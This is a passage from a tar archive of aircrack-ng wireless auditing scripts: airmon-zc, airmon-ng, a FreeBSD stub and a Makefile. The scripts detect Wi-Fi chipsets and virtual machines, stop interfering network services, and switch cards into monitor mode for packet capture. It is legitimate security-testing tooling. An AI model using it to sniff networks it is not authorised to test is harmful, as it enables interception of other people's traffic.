them!\n" printf "\nPID\tName\n" else if [ x"$1" != "xkill" ] then return fi fi if [ $match -gt 0 -a x"$1" = "xkill" ] then printf "Killing all those processes..." fi i=1 while [ $i -le $match ] do pid=$(ps -A -o pid= -o comm= | grep $PROCESSES | grep -v grep | head -n $i | tail -n 1 | awk '{print $1}') pname=$(ps -A -o pid= -o comm= | grep $PROCESSES | grep -v grep | head -n $i | tail -n 1 | awk '{print $2}') if [ x"$1" != "xkill" ] then printf "$pid\t$pname\n" else kill $pid fi i=$(($i+1)) done } checkProcessesIface() { if [ x"$1" = "x" ] then return fi match2=$(ps -o comm= -p 1 2>&1 | grep $PS_ERROR | grep -v grep | wc -l) if [ $match2 -gt 0 ] then return fi for i in $(ps auxw | grep $1 | grep -v "grep" | grep -v "airmon-zc" | awk '{print $2}') do pname=$(ps -o comm= -p $i) printf "Process with PID $i ($pname) is running on interface $1\n" done } getPhy() { if [ x"$1" = "x" ] then return fi if [ $MAC80211 = "0" ] then PHYDEV="null" return fi if [ -d /sys/class/net/$1/phy80211/ ] then PHYDEV="$(ls -l "/sys/class/net/$1/phy80211" | sed 's/^.*\/\([a-zA-Z0-9_-]*\)$/\1/')" fi } checkvm() { #this entire section of code is completely stolen from Carlos Perez's work in checkvm.rb for metasploit and rewritten (poorly) in sh #Check dmi info if [ -x "$(command -v dmidecode 2>&1)" ] then dmi_info=$(dmidecode) if [ dmi_info ] then echo ${dmi_info} | grep -iq "microsoft corporation" 2> /dev/null && vm="MS Hyper-V" echo ${dmi_info} | grep -iq "vmware" 2> /dev/null && vm="VMware" echo ${dmi_info} | grep -iq "virtualbox" 2> /dev/null && vm="VirtualBox" echo ${dmi_info} | grep -iq "qemu" 2> /dev/null && vm="Qemu/KVM" echo ${dmi_info} | grep -iq "domu" 2> /dev/null && vm="Xen" vm_from="dmi_info" fi fi #check loaded modules if [ -z ${vm} ] then if [ -x "$(command -v lsmod 2>&1)" ] then lsmod_data=$(lsmod) if [ lsmod ] then echo ${lsmod_data} | grep -iqE "vboxsf|vboxguest" 2> /dev/null && vm="VirtualBox" echo ${lsmod_data} | grep -iqE "vmw_ballon|vmxnet|vmw" 2> /dev/null && vm="VMware" echo ${lsmod_data} | grep -iqE "xen-vbd|xen-vnif" 2> /dev/null && vm="Xen" echo ${lsmod_data} | grep -iqE "virtio_pci|virtio_net" 2> /dev/null && vm="Qemu/KVM" echo ${lsmod_data} | grep -iqE "hv_vmbus|hv_blkvsc|hv_netvsc|hv_utils|hv_storvsc" && vm="MS Hyper-V" vm_from="lsmod" fi fi fi #check scsi driver if [ -z ${vm} ] then if [ -f /proc/scsi/scsi ] then grep -iq "vmware" /proc/scsi/scsi 2> /dev/null && vm="VMware" grep -iq "vbox" /proc/scsi/scsi 2> /dev/null && vm="VirtualBox" vm_from="/pro/scsi/scsi" fi fi # Check IDE Devices if [ -z ${vm} ] then if [ -d /proc/ide ] then ide_model=$(cat /proc/ide/hd*/model) echo ${ide_model} | grep -iq "vbox" 2> /dev/null && vm="VirtualBox" echo ${ide_model} | grep -iq "vmware" 2> /dev/null && vm="VMware" echo ${ide_model} | grep -iq "qemu" 2> /dev/null && vm="Qemu/KVM" echo ${ide_model} | grep -iqE "virtual (hd|cd)" 2> /dev/null && vm="Hyper-V/Virtual PC" vm_from="ide_model" fi fi # Check using lspci if [ -z ${vm} ] then lspci_data=$(lspci) echo ${lspci_data} | grep -iq "vmware" 2> /dev/null && vm="VMware" echo ${lspci_data} | grep -iq "virtualbox" 2> /dev/null && vm="VirtualBox" vm_from="lspci" fi # Xen bus check ## XXX: Removing unsafe check # this check triggers if CONFIG_XEN_PRIVILEGED_GUEST=y et al are set in kconfig (debian default) even in not actually a guest #if [ -z ${vm} ] #then # ls -1 /sys/bus | grep -iq "xen" 2> /dev/null && vm="Xen" # vm_from="/sys/bus/xen" #fi # Check using lscpu if [ !${vm} ] then if [ -x "$(command -v lscpu 2>&1)" ] then lscpu_data=$(lscpu) echo ${lscpu_data} | grep -iq "Xen" 2> /dev/null && vm="Xen" echo ${lscpu_data} | grep -iq "KVM" 2> /dev/null && vm="KVM" echo ${lscpu_data} | grep -iq "Microsoft" 2> /dev/null && vm="MS Hyper-V" vm_from="lscpu" fi fi #Check vmnet if [ -z ${vm} ] then if [ -e /dev/vmnet ] then vm="VMware" vm_from="/dev/vmnet" fi fi # Check dmesg Output if [ -z ${vm} ] then if [ -x "$(command -v dmesg 2>&1)" ] then dmesg_output=$(dmesg) echo ${dmesg_output} | grep -iqE "vboxbios|vboxcput|vboxfacp|vboxxsdt|(vbox cd-rom)|(vbox harddisk)" && vm="VirtualBox" echo ${dmesg_output} | grep -iqE "(vmware virtual ide)|(vmware pvscsi)|(vmware virtual platform)" && vm="VMware" echo ${dmesg_output} | grep -iqE "(xen_mem)|(xen-vbd)" && vm="Xen" echo ${dmesg_output} | grep -iqE "(qemu virtual cpu version)" && vm="Qemu/KVM" vm_from="dmesg" fi fi } #other startup checks if [ x"$1" = "xcheck" ] || [ x"$1" = "xstart" ] then scanProcesses for iface in $(ls -1 /sys/class/net) do if [ -f /sys/class/net/${iface}/uevent ]; then if $(grep -q DEVTYPE=wlan /sys/class/net/${iface}/uevent) then iface_list="${iface_list}\n ${iface}" fi fi done if [ -x "$(command -v iwconfig 2>&1)" ] && [ -x "$(command -v sort 2>&1)" ] then for iface in $(iwconfig 2> /dev/null | sed 's/^\([a-zA-Z0-9_.]*\) .*/\1/') do iface_list="${iface_list}\n ${iface}" done fi for iface in $(printf "${iface_list}" | sort -bu) do checkProcessesIface ${iface} done if [ x"$2" = "xkill" ] then scanProcesses "$2" fi if [ x"$1" = "xcheck" ] then exit fi fi if [ $# -ne "0" ] then if [ x$1 != "xstart" ] && [ x$1 != "xstop" ] then usage fi if [ x$2 = "x" ] then usage fi fi #startup checks complete, headers then main if [ "$VERBOSE" = "1" ] then uname -a checkvm if [ ${vm} ] then printf "Detected VM using ${vm_from}\n" printf "This appears to be a ${vm} Virtual Machine\n" printf "If your system supports VT-d, it may be possible to use PCI devices\n" printf "If your system does not support VT-d, you can only use USB wifi cards\n" fi printf "\nK indicates driver is from $(uname -r)\n" if $(modinfo compat > /dev/null 2>&1) then modprobe compat fi if [ -f /sys/module/compat/parameters/compat_version ] then printf "C indicates driver is from $(cat /sys/module/compat/parameters/compat_version)\n" fi printf "V indicates driver comes directly from the vendor, almost certainly a bad thing\n" printf "S indicates driver comes from the staging tree, these drivers are meant for reference not actual use, BEWARE\n" printf "? indicates we do not know where the driver comes from... report this\n\n" fi if [ ${VERBOSE} = "1" ] then printf "\nX[PHY]Interface\t\tDriver[Stack]-FirmwareRev\t\tChipset\t\t\t\t\t\t\t\t\t\tExtended Info\n\n" else printf "PHY\tInterface\tDriver\t\tChipset\n\n" fi for iface in $(ifconfig -a 2> /dev/null | egrep UNSPEC | sed 's/^\([a-zA-Z0-9_]*\) .*/\1/') do if [ -e "/proc/sys/dev/$iface/fftxqmin" ] then MADWIFI=1 ifconfig $iface up printf "$iface\t\tAtheros\t\tmadwifi-ng" if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then IFACE=$(wlanconfig ath create wlandev $iface wlanmode monitor -bssid | grep ath) ifconfig $iface up 2> /dev/null > /dev/null if [ $CH -lt 1000 ] then iwconfig $IFACE channel $CH 2> /dev/null > /dev/null else iwconfig $IFACE freq "$CH"000000 2> /dev/null > /dev/null fi ifconfig $IFACE up 2> /dev/null > /dev/null UDEV_ISSUE=$? fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then printf "$iface does not support 'stop', do it on ath interface\n" fi #why, dear god why is there a random newline here? printf "\n" continue fi done if [ ${MADWIFI} -eq 1 ] then sleep 1s fi for iface in $(ls -1 /sys/class/net) do if [ -f /sys/class/net/${iface}/uevent ]; then if $(grep -q DEVTYPE=wlan /sys/class/net/${iface}/uevent) then iface_list="${iface_list}\n ${iface}" fi fi done if [ -x "$(command -v iwconfig 2>&1)" ] && [ -x "$(command -v sort 2>&1)" ] then for iface in $(iwconfig 2> /dev/null | sed 's/^\([a-zA-Z0-9_.]*\) .*/\1/') do iface_list="${iface_list}\n ${iface}" done fi for iface in $(printf "${iface_list}" | sort -bu) do unset ethtool_output DRIVER FROM FIRMWARE STACK MADWIFI MAC80211 BUS BUSADDR BUSINFO DEVICEID CHIPSET EXTENDED PHYDEV ifacet DRIVERt FIELD1 FIELD1t FIELD2 FIELD2t CHIPSETt #add a RUNNING check here and up the device if it isn't already ethtool_output="$(ethtool -i $iface 2>&1)" if [ "$ethtool_output" != "Cannot get driver information: Operation not supported" ] then getStack $iface getDriver $iface getChipset $iface if [ ${VERBOSE} = "1" ] then getFrom $iface getFirmware $iface getExtendedInfo $iface fi getPhy $iface else printf "\nethtool failed...\n" printf "Only mac80211 devices on kernel 2.6.33 or higher are officially supported by airmon-ng.\n" exit 1 fi #yes this really is the main output loop if [ ${VERBOSE} = "1" ] then #beautify output spacing (within reason) FIELD1="${FROM}[${PHYDEV}]${iface}" if [ ${#FIELD1} -gt 15 ] then FIELD1t="\t" else FIELD1t="\t\t" fi FIELD2="${DRIVER}[${STACK}]-${FIRMWARE}" if [ ${#FIELD2} -gt 27 ] then FIELD2t="\t" else FIELD2t="\t\t" fi if [ -n "${EXTENDED}" ] then CHIPSETt="\t\t\t\t\t\t\t\t\t\t" if [ ${#CHIPSET} -gt 70 ] then CHIPSETt="\t" elif [ ${#CHIPSET} -gt 63 ] then CHIPSETt="\t\t" elif [ ${#CHIPSET} -gt 56 ] then CHIPSETt="\t\t\t" elif [ ${#CHIPSET} -gt 49 ] then CHIPSETt="\t\t\t\t" elif [ ${#CHIPSET} -gt 42 ] then CHIPSETt="\t\t\t\t\t" elif [ ${#CHIPSET} -gt 35 ] then CHIPSETt="\t\t\t\t\t\t" elif [ ${#CHIPSET} -gt 28 ] then CHIPSETt="\t\t\t\t\t\t\t" elif [ ${#CHIPSET} -gt 21 ] then CHIPSETt="\t\t\t\t\t\t\t\t" elif [ ${#CHIPSET} -gt 14 ] then CHIPSETt="\t\t\t\t\t\t\t\t\t" fi fi printf "${FROM}[${PHYDEV}]${iface}${FIELD1t}${DRIVER}[${STACK}]-${FIRMWARE}${FIELD2t}${CHIPSET}${CHIPSETt}${EXTENDED}" else #beautify output spacing (within reason, interface/driver max length is 15 and phy max length is 7)) if [ ${#DRIVER} -gt 7 ] then DRIVERt="\t" else DRIVERt="\t\t" fi if [ ${#iface} -gt 7 ] then ifacet="\t" else ifacet="\t\t" fi printf "${PHYDEV}\t${iface}${ifacet}${DRIVER}${DRIVERt}${CHIPSET}" fi if [ x$MAC80211 = "x1" ] then if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then startMac80211Iface $iface fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then stopMac80211Iface $iface fi #why, dear god why is there a random newline here? printf "\n" continue fi done #why, dear god why is there a random newline here? printf "\n" if [ $UDEV_ISSUE != 0 ] then printf "udev renamed the interface. Read the following for a solution:\n" printf "http://www.aircrack-ng.org/doku.php?id=airmon-ng#interface_athx_number_rising_ath0_ath1_ath2...._ath45\n\n" fi aircrack-ng-1.2-beta3/scripts/airmon-ng.freebsd0000644000000000000000000000043011637454630020147 0ustar rootroot#!/bin/sh cat << EOF On $(uname), it is not necessary to use airmon-ng to enable the monitor mode of your wireless card. Instead, you need to specify this mode when creating your wlan device. For example: ifconfig wlan0 create wlandev ath0 wlanmode monitor EOF exit 0 aircrack-ng-1.2-beta3/scripts/Makefile0000644000000000000000000000156312101042565016357 0ustar rootrootAC_ROOT = .. include $(AC_ROOT)/common.mak SCRIPTS = airodump-ng-oui-update SCRIPTS_LNX = airmon-ng airmon-zc airdriver-ng default: all all: @echo Nothing to do install: install -m 755 $(SCRIPTS) $(DESTDIR)$(sbindir) ifeq ($(OSNAME), Linux) install -m 755 $(SCRIPTS_LNX) $(DESTDIR)$(sbindir) endif ifeq ($(filter FreeBSD GNU-kFreeBSD, $(OSNAME)),) else install -m 755 airmon-ng.freebsd $(DESTDIR)$(sbindir)/airmon-ng endif ifeq ($(subst TRUE,true,$(filter TRUE true,$(ext_scripts) $(EXT_SCRIPTS))),true) @for i in * ; do \ if [ -d $$i ] && [ $$i != "." ] && [ $$i != ".." ]; then \ make -C $$i install DESTDIR=$(DESTDIR) ; \ fi ; \ done endif uninstall: -rm -f $(DESTDIR)$(sbindir)/airmon-ng -rm -f $(DESTDIR)$(sbindir)/airmon-zc -rm -f $(DESTDIR)$(sbindir)/airdriver-ng -rm -f $(DESTDIR)$(sbindir)/airodump-ng-oui-update clean: @echo Nothing to do aircrack-ng-1.2-beta3/scripts/airmon-ng0000644000000000000000000010351712316420736016543 0ustar rootroot#!/bin/sh USERID="" IFACE="" KISMET=/etc/kismet/kismet.conf CH=$3; [ x$3 = "x" ] && CH=10 IFACE_FOUND="false" MADWIFI=0 MAC80211=0 USE_IW=0 IW_SOURCE="https://www.kernel.org/pub/software/network/iw/iw-3.14.tar.gz" IW_ERROR="" UDEV_ISSUE=0 if [ -f "`which iw 2>&1`" ] then USE_IW=1 fi if [ "x$MON_PREFIX" = "x" ] then MON_PREFIX="mon" fi PROCESSES="wpa_action\|wpa_supplicant\|wpa_cli\|dhclient\|ifplugd\|dhcdbd\|dhcpcd\|NetworkManager\|knetworkmanager\|avahi-autoipd\|avahi-daemon\|wlassistant\|wifibox" PS_ERROR="invalid" usage() { printf "usage: `basename $0` [channel or frequency]\n" echo exit } startStdIface() { iwconfig $1 mode monitor >/dev/null 2>&1 if [ ! -z $2 ] then if [ $2 -lt 1000 ] then iwconfig $1 channel $2 >/dev/null 2>&1 else iwconfig $1 freq "$2"000000 > /dev/null 2>&1 fi fi iwconfig $1 key off >/dev/null 2>&1 ifconfig $1 up printf " (monitor mode enabled)" } stopStdIface() { ifconfig $1 down >/dev/null 2>&1 iwconfig $1 mode Managed >/dev/null 2>&1 ifconfig $1 down >/dev/null 2>&1 printf " (monitor mode disabled)" } getModule() { if [ -f "/sys/class/net/$1/device/driver/module/srcversion" ] then srcver1=`cat "/sys/class/net/$1/device/driver/module/srcversion"` for j in `lsmod | awk '{print $1}' | grep -v "^Module$"` do srcver2="`modinfo $j 2>/dev/null | grep srcversion | awk '{print $2}'`" if [ $srcver1 = "$srcver2" ] then MODULE=$j break fi done else MODULE="" fi # return 0 } getDriver() { if [ -e "/sys/class/net/$1/device/driver" ] then DRIVER="`ls -l "/sys/class/net/$1/device/driver" | sed 's/^.*\/\([a-zA-Z0-9_-]*\)$/\1/'`" BUS="`ls -l "/sys/class/net/$1/device/driver" | sed 's/^.*\/\([a-zA-Z0-9_-]*\)\/.*\/.*$/\1/'`" else DRIVER="" BUS="" fi if [ x$(echo $DRIVER | grep ath5k) != "x" ] then DRIVER="ath5k" fi if [ x$(echo $DRIVER | grep ath9k) != "x" ] then DRIVER="ath9k" fi if [ x$DRIVER = "x" ] then if [ -d /sys/class/net/tiwlan0/wireless ] then DRIVER=WiLink fi fi } scanProcesses() { if [ -f "`which service 2>&1`" ] && [ x"$1" = "xkill" ] then service network-manager stop 2>/dev/null >/dev/null service avahi-daemon stop 2>/dev/null >/dev/null fi match=`ps -A -o comm= | grep $PROCESSES | grep -v grep | wc -l` if [ $match -gt 0 -a x"$1" != "xkill" ] then printf "\n\n" echo "Found $match processes that could cause trouble." echo "If airodump-ng, aireplay-ng or airtun-ng stops working after" echo "a short period of time, you may want to kill (some of) them!" echo -e "\nPID\tName" else if [ x"$1" != "xkill" ] then return fi fi if [ $match -gt 0 -a x"$1" = "xkill" ] then echo "Killing all those processes..." fi i=1 while [ $i -le $match ] do pid=`ps -A -o pid= -o comm= | grep $PROCESSES | grep -v grep | head -n $i | tail -n 1 | awk '{print $1}'` pname=`ps -A -o pid= -o comm= | grep $PROCESSES | grep -v grep | head -n $i | tail -n 1 | awk '{print $2}'` if [ x"$1" != "xkill" ] then printf "$pid\t$pname\n" else kill $pid fi i=$(($i+1)) done } checkProcessesIface() { if [ x"$1" = "x" ] then return fi match2=`ps -o comm= -p 1 2>&1 | grep $PS_ERROR | grep -v grep | wc -l` if [ $match2 -gt 0 ] then return fi for i in `ps auxw | grep $1 | grep -v "grep" | grep -v "airmon-ng" | awk '{print $2}'` do pname=`ps -o comm= -p $i` echo "Process with PID $i ($pname) is running on interface $1" done } getStack() { if [ x"$1" = "x" ] then return fi if [ -d /sys/class/net/$1/phy80211/ ] then MAC80211=1 else MAC80211=0 fi } #you need to run getDriver $iface prior to getChipset getChipset() { if [ x"$1" = "x" ] then return fi CHIPSET="Unknown " if [ x$DRIVER = "xOtus" -o x$DRIVER = "xarusb_lnx" ] then CHIPSET="AR9001U" fi if [ x$DRIVER = "xWiLink" ] then CHIPSET=`dmesg | grep TIWLAN | grep CHIP | tail -n 1 | awk -F\ '{ print $6 }'` if [ x$CHIPSET = "x" ] then CHIPSET="Unknown" else CHIPSET="TI${CHIPSET}" fi fi if [ x$DRIVER = "xar9170usb" ] then getPhy $2 CHIPSET="Atheros `dmesg | grep $PHYDEV | grep "is registered as" | cut -d':' -f 2 | cut -d' ' -f 3`" fi if [ x$DRIVER = "xzd1211rw_mac80211" ] then CHIPSET="ZyDAS 1211" fi if [ x$DRIVER = "xzd1211rw" ] then getPhy $2 TEMP_USBPORT="`dmesg | grep $PHYDEV | grep zd1211rw | cut -d'w' -f 2 | cut -d' ' -f 2`" TEMP_CHIPSET="`dmesg | grep "$TEMP_USBPORT" | grep chip | tail -n 1 | cut -d':' -f 3 | cut -d' ' -f 2`" CHIPSET="Zydas $TEMP_CHIPSET" fi if [ x$DRIVER = "xacx" -o x$DRIVER = "xacx-mac80211" -o x$DRIVER = "xacx1xx" ] then CHIPSET="TI ACX1xx" fi if [ x$DRIVER = "adm8211" ] then CHIPSET="ADMtek 8211" fi if [ x$DRIVER = "xat76_usb" ] then CHIPSET="Atmel " fi if [ x$DRIVER = "xb43" -o x$DRIVER = "xb43legacy" -o x$DRIVER = "xbcm43xx" -o x$DRIVER = "xwl" ] then CHIPSET="Broadcom" if [ x$DRIVER = "xb43" ] then getPhy $2 TEMP_CHIPSET="`dmesg | grep $PHYDEV | grep found | cut -d':' -f 2 | cut -d' ' -f 3`" if [ x$TEMP_CHIPSET = "x4318" ] then CHIPSET="$CHIPSET $TEMP_CHIPSET" fi fi fi if [ x$DRIVER = "xprism54" -o x$DRIVER = "xp54pci" -o x$DRIVER = "xp54usb" ] then CHIPSET="PrismGT " fi if [ x$DRIVER = "xhostap" ] then CHIPSET="Prism 2/2.5/3" fi if [ x$DRIVER = "xr8180" -o x$DRIVER = "xrtl8180" ] then CHIPSET="RTL8180/RTL8185" fi # r8187 is reporting itself as rtl8187 if [ x$DRIVER = "xrtl8187" ] then getPhy $2 if [ x"$PHYDEV" = "x" ] then CHIPSET="RTL8187 " else CHIPSET="`dmesg | grep $PHYDEV | grep hwaddr | cut -d',' -f 2 | cut -d' ' -f 2`" if [ x$CHIPSET = "xRTL8187vB" ] then CHIPSET="Realtek RTL8187L" else CHIPSET="Realtek $CHIPSET" fi fi fi if [ x$DRIVER = "xr8187" ] then CHIPSET="RTL8187 " fi if [ x$DRIVER = "xrt2570" -o x$DRIVER = "xrt2500usb" ] then CHIPSET="Ralink 2570 USB" fi if [ x$DRIVER = "xrt2400" -o x$DRIVER = "xrt2400pci" ] then CHIPSET="Ralink 2400 PCI" fi if [ x$DRIVER = "xrt2500" -o x$DRIVER = "xrt2500pci" ] then CHIPSET="Ralink 2560 PCI" fi if [ x$DRIVER = "xrt61" -o x$DRIVER = "xrt61pci" ] then CHIPSET="Ralink 2561 PCI" fi if [ x$DRIVER = "xrt73" -o x$DRIVER = "xrt73usb" ] then CHIPSET="Ralink 2573 USB" fi #if [ x$DRIVER = "xrt2800usb" ] #then # getPhy $2 # CHIPSET="Ralink `dmesg | grep rt2800usb | grep firmware | cut -d':' -f 4 | cut -d' ' -f 3 | cut -d'.' -f 1`" #fi if [ x$DRIVER = "xrt2800" -o x$DRIVER = "xrt2800usb" -o x$DRIVER = "xrt3070sta" ] then CHIPSET="Ralink RT2870/3070" fi if [ x$DRIVER = "xipw2100" ] then CHIPSET="Intel 2100B" fi if [ x$DRIVER = "xipw2200" ] then CHIPSET="Intel 2200BG/2915ABG" fi if [ x$DRIVER = "xipw3945" -o x$DRIVER = "xipwraw" -o x$DRIVER = "xiwl3945" ] then CHIPSET="Intel 3945ABG" fi if [ x$DRIVER = "xipw4965" -o x$DRIVER = "xiwl4965" ] then CHIPSET="Intel 4965AGN" fi if [ x$DRIVER = "xiwlagn" -o x$DRIVER = "xiwlwifi" ] then CHIPSET="Intel 4965/5xxx/6xxx/1xxx" DETECTED_STR="`dmesg | grep $DRIVER | grep Detected | tail -n 1 `" LINK_POS="3" FOUND="0" if [ x"$DETECTED_STR" != "x" ] then INTEL_WORD="Link" if [ "`echo "$DETECTED_STR" | grep $INTEL_WORD | wc -l`" = "0" ] then INTEL_WORD="Wireless" if [ "`echo "$DETECTED_STR" | grep $INTEL_WORD | wc -l`" = "0" ] then INTEL_WORD="Ultimate" if [ "`echo "$DETECTED_STR" | grep $INTEL_WORD | wc -l`" = "0" ] then INTEL_WORD="Advanced" fi fi fi while [ $FOUND = "0" ] do FOUND=`echo "$DETECTED_STR" | cut -d' ' -f $LINK_POS | grep $INTEL_WORD | wc -l` LINK_POS=$(($LINK_POS+1)) done TEMP_CHIPSET=`echo "$DETECTED_STR" | cut -d' ' -f $LINK_POS` case "x${TEMP_CHIPSET}" in # x5100AGN) # CHIPSET="Intel $TEMP_CHIPSET" # ;; x5300) TYPE_TEMP=`echo "$DETECTED_STR" | cut -d' ' -f $(($LINK_POS+1)) | awk -F, '{ print $1 }' ` CHIPSET="Intel ${TEMP_CHIPSET}${TYPE_TEMP}" ;; x1000) TYPE_TEMP=`echo "$DETECTED_STR" | cut -d' ' -f $[$LINK_POS+2]` CHIPSET="Intel ${TEMP_CHIPSET}${TYPE_TEMP}" ;; *) CHIPSET="Intel $TEMP_CHIPSET" ;; esac fi fi if [ x$DRIVER = "xath5k" ] then getPhy $2 CHIPSET="Atheros `dmesg | grep $PHYDEV | grep "chip found" | cut -d':' -f 2 | cut -d' ' -f 3`" fi if [ x$DRIVER = "xath_pci" ] then CHIPSET="Atheros " fi if [ x$DRIVER = "xath9k" ] then getPhy $2 CHIPSET="Atheros `dmesg | grep $PHYDEV | grep Atheros | tail -n 1 | cut -d':' -f 2 | cut -d' ' -f 3`" fi if [ x$DRIVER = "xorinoco" ] then CHIPSET="Hermes/Prism" fi if [ x$DRIVER = "xath9k_htc" -o x$DRIVER = "xusb" ] then CHIPSET="AR9001/9002/9271" fi if [ x$DRIVER = "xwl12xx" ] then CHIPSET="TI WL1251/WL1271" IS_WL1251="`dmesg| grep firmware | grep wl1251 | wc -l`" IS_WL1271="`dmesg| grep firmware | grep wl1271 | wc -l`" if [ $IS_WL1251 != "0" ] && [ $IS_WL1271 = "0" ] then CHIPSET="TI WL1251" fi if [ $IS_WL1271 != "0" ] && [ $IS_WL1251 = "0" ] then CHIPSET="TI WL1271" fi # In any other case, we can't determine the chipset and thus give the generic: 1251/1271 fi if [ x$DRIVER = "xr871x_usb_drv" ] then CHIPSET="Realtek 81XX" fi if [ x$DRIVER = "xcarl9170" ] then getPhy $2 CHIPSET=`dmesg | grep usb | grep $PHYDEV | awk -F\ '{ print $3 " " $4 }'` if [ `echo $CHIPSET | grep -i atheros | wc -l` -eq 0 ] then CHIPSET=`dmesg | grep usb | grep $PHYDEV | awk -F\ '{ print $5 " " $6 }'` fi fi } getPhy() { PHYDEV="" if [ x"$1" = "x" ] then return fi if [ x$MAC80211 = "x" ] then return fi if [ -d /sys/class/net/$1/phy80211/ ] then PHYDEV="`ls -l "/sys/class/net/$1/phy80211" | sed 's/^.*\/\([a-zA-Z0-9_-]*\)$/\1/'`" fi } getNewMon() { i=0 while [ -d /sys/class/net/$MON_PREFIX$i/ ] do i=$(($i+1)) done MONDEV="$MON_PREFIX$i" } if [ x"`which id 2> /dev/null`" != "x" ] then USERID="`id -u 2> /dev/null`" fi if [ x$USERID = "x" -a x$UID != "x" ] then USERID=$UID fi if [ x$USERID != "x" -a x$USERID != "x0" ] then echo Run it as root ; exit ; fi iwpriv > /dev/null 2> /dev/null || { echo Wireless tools not found ; exit ; } if [ x"$1" = "xcheck" ] || [ x"$1" = "xstart" ] then scanProcesses for iface in `iwconfig 2>/dev/null | egrep '(IEEE|ESSID|802\.11|WLAN)' | sed 's/^\([a-zA-Z0-9_.]*\) .*/\1/' | grep -v wifi` do # getModule $iface # getDriver $iface checkProcessesIface $iface done if [ x"$2" = "xkill" ] then scanProcesses "$2" fi if [ x"$1" = "xcheck" ] then exit fi fi printf "\n\n" if [ $# -ne "0" ] then if [ x$1 != "xstart" ] && [ x$1 != "xstop" ] then usage fi if [ x$2 = "x" ] then usage fi fi SYSFS=0 if [ -d /sys/ ] then SYSFS=1 fi printf "Interface\tChipset\t\tDriver\n\n" for iface in `ifconfig -a 2>/dev/null | egrep UNSPEC | sed 's/^\([a-zA-Z0-9_]*\) .*/\1/'` do if [ x"`iwpriv $iface 2>/dev/null | grep ipwraw-ng`" != "x" ] then printf "$iface\t\tIntel 3945ABG\tipwraw-ng" if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then cp $KISMET~ $KISMET 2>/dev/null && echo "source=ipw3945,$iface,Centrino_abg" >>$KISMET startStdIface $iface $CH iwconfig $iface rate 1M 2> /dev/null >/dev/null iwconfig $iface txpower 16 2> /dev/null >/dev/null fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then stopStdIface $iface iwconfig $iface txpower 15 2> /dev/null >/dev/null iwconfig $iface rate 54M 2> /dev/null >/dev/null fi echo continue fi if [ -e "/proc/sys/dev/$iface/fftxqmin" ] then MADWIFI=1 ifconfig $iface up printf "$iface\t\tAtheros\t\tmadwifi-ng" if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then IFACE=`wlanconfig ath create wlandev $iface wlanmode monitor -bssid | grep ath` cp $KISMET~ $KISMET 2>/dev/null && echo "source=madwifi_g,$iface,Atheros" >>$KISMET ifconfig $iface up 2>/dev/null >/dev/null if [ $CH -lt 1000 ] then iwconfig $IFACE channel $CH 2>/dev/null >/dev/null else iwconfig $IFACE freq "$CH"000000 2>/dev/null >/dev/null fi ifconfig $IFACE up 2>/dev/null >/dev/null UDEV_ISSUE=$? fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then echo "$iface does not support 'stop', do it on ath interface" fi echo continue fi done if [ $MADWIFI -eq 1 ] then sleep 1s fi for iface in `iwconfig 2>/dev/null | egrep '(IEEE|ESSID|802\.11|WLAN)' | sed 's/^\([a-zA-Z0-9_.]*\) .*/\1/' | grep -v wifi` do getModule $iface getDriver $iface getStack $iface getChipset $DRIVER $iface if [ x$MAC80211 = "x1" ] then getPhy $iface getNewMon printf "$iface\t\t$CHIPSET\t$DRIVER - [$PHYDEV]" if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then if [ $USE_IW = 1 ] then IW_ERROR=`iw dev $iface interface add $MONDEV type monitor 2>&1 | grep "nl80211 not found"` if [ x$IW_ERROR = "x" ] then sleep 1s if [ ! -z $3 ] then if [ $3 -lt 1000 ] then iwconfig $MONDEV channel $3 >/dev/null 2>&1 else iwconfig $MONDEV freq "$3"000000 >/dev/null 2>&1 fi fi ifconfig $MONDEV up printf "\n\t\t\t\t(monitor mode enabled on $MONDEV)" else if [ -f /sys/class/ieee80211/"$PHYDEV"/add_iface ] then echo -n "$MONDEV" > /sys/class/ieee80211/"$PHYDEV"/add_iface sleep 1s if [ $3 -lt 1000 ] then iwconfig $MONDEV mode Monitor channel $3 >/dev/null 2>&1 else iwconfig $MONDEV mode Monitor freq "$3"000000 >/dev/null 2>&1 fi ifconfig $MONDEV up printf "\n\t\t\t\t(monitor mode enabled on $MONDEV)" else printf "\n\nERROR: nl80211 support is disabled in your kernel.\nPlease recompile your kernel with nl80211 support enabled.\n" fi fi else if [ -f /sys/class/ieee80211/"$PHYDEV"/add_iface ] then echo -n "$MONDEV" > /sys/class/ieee80211/"$PHYDEV"/add_iface sleep 1s if [ $3 -lt 1000 ] then iwconfig $MONDEV mode Monitor channel $3 >/dev/null 2>&1 else iwconfig $MONDEV mode Monitor freq "$3"000000 >/dev/null 2>&1 fi ifconfig $MONDEV up printf "\n\t\t\t\t(monitor mode enabled on $MONDEV)" else printf "\n\nERROR: Neither the sysfs interface links nor the iw command is available.\nPlease download and install iw from\n$IW_SOURCE\n" fi fi fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then z="`echo $iface | cut -b -${#MON_PREFIX}`" if [ x$z = "x$MON_PREFIX" ] then if [ $USE_IW = 1 ] then IW_ERROR=`iw dev "$iface" interface del 2>&1 | grep "nl80211 not found"` if [ x$IW_ERROR = "x" ] then printf " (removed)" else if [ -f /sys/class/ieee80211/"$PHYDEV"/remove_iface ] then echo -n "$iface" > /sys/class/ieee80211/"$PHYDEV"/remove_iface printf " (removed)" else printf "\n\nERROR: nl80211 support is disabled in your kernel.\nPlease recompile your kernel with nl80211 support enabled.\n" fi fi else if [ -f /sys/class/ieee80211/"$PHYDEV"/remove_iface ] then echo -n "$iface" > /sys/class/ieee80211/"$PHYDEV"/remove_iface printf " (removed)" else printf "\n\nERROR: Neither the sysfs interface links nor the iw command is available.\nPlease download and install iw from\n$IW_SOURCE\n" fi fi else ifconfig $iface down iwconfig $iface mode managed printf "\n\t\t\t\t(monitor mode disabled)" fi fi echo continue fi if [ x$DRIVER = "xorinoco" ] || [ x"`iwpriv $iface 2>/dev/null | grep get_rid`" != "x" ] || [ x"`iwpriv $iface 2>/dev/null | grep dump_recs`" != "x" ] 